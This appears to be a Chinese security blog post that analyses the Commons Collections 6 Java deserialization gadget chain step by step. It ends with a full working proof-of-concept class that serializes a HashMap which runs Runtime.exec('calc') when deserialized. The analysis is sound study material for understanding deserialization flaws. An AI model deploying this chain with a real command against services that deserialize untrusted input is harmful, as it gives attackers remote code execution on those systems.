目录
(一)利用链
(二)代码分析
0x01 TiedMapEntry
0x02 HashMap
(三)POC:
(一)利用链
先来看 ysoserial 中的利用链:
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
CommonsCollections1利用链分析_jinyouxin的博客-CSDN博客
可以看到,CC6链从LazyMap类开始的后半部分和CC1链是相同的,只是前面没有使用AnnotationInvocationHandler类
readObject()
的作为反序列化的入口了,从而解决了在java 8u71 版本之后无法使用CC1链的问题。CC6链的前半部分和URLDNS链比较像,都是利用了HashMap类在计算hash值时调用key.hashCode()
的方式,进入到TiedMapEntry.getValue()
方法,再到LazyMap.get()
的。
(二)代码分析
从上面的调用链我们不难分析出,cc6链和cc1链在ChainedTransform中的 x.transform()的调用出现了不一致,在LazyMap.get()中正好触发了此方法,
0x01 TiedMapEntry
首先我们从
LazyMap.get()
这里开始向上找,希望找到一个调用了Map.get()
方法的函数,这里的Map需要可控。我们找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue()
⽅法中调⽤了this.map.get()
,⽽其hashCode()
⽅法调⽤了getValue()
⽅法:
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
// ...
public Object getValue() {
return map.get(key);
}
// ...
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
// ...
}
0x02 HashMap
所以我们需要接着找能够调用
TiedMapEntry.hashCode()
的方法,这时候就想起上午刚总结的URLDNS链是通过HashMap在反序列化时候其readObject()
函数会循环每一个键值对放入到HashMap中,而在放入每一个键值对的时候会计算key(hash)
值,触发key.hashCode()
方法:
URLDNS利用链分析_jinyouxin的博客-CSDN博客
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// ...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
这里跟进12行的hash(key)
值:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
可以看到第三行
key
不为空的时候就会去调用用key.hashCode()
,这时候我们只需要把key
设置为构造好的 TiedMapEntry 对象就可以实现任意代码执行了。
- 由上面分析思路,可以写出如下POC:
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[]{ null, new Object[0]} ),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
(三)POC:
注意由于hashMap在序列化的时候就会自动触发hashCode,所以我们要通过反射机制进行处理,如下代码:
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
但是此时测试就会发现,反序列化的时候并不会触发这条链,这是怎么回事呢?这里还是跟24行的
expMap.put(tme, "valuevalue")
有关。我们先来调试一下,在expMap.put(tme, "valuevalue");
打下断点:
- 步入,跟着我们构造好的整条利用链去调:
expMap.put(tme, "valuevalue") ==> TiedMapEntry.hashCode() ==> TiedMapEntry.getValue() ==> LazyMap.get(key);
到了
LazyMap.get(key);
这一步的时候,这里有一个判断,我们传入的map,也就是上面的innerMap中是否有这个key
存在,此时这个innerMap里面啥都没放呢,那肯定是没有的,因此就会进入到循环中:先触发一次factory.transform(key)
,这里的factory
也就是构造LazyMap时候传入的Transformer,从而先触发一次利用链,这里就是上面使用fakeTransformer 的根源;然后再到map.put(key,value)
,这里会把我们传入的key
(示例的值是keykey
)放到innerMap中,导致了反序列化再碰到这个if
判断的时候会判断这个map里面是有这个key
存在的,因此就不会执行到里面的factory.transform(key)
,进而无法触发利用链。
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[]{ null, new Object[0]} ),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.remove("keykey");
// System.out.println(outerMap.isEmpty());
// ==============
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
// ==============
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(expMap);
oss.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
利用过程在原理部分和代码分析部分分别简略和详细地分析了一遍,这里不再赘述了。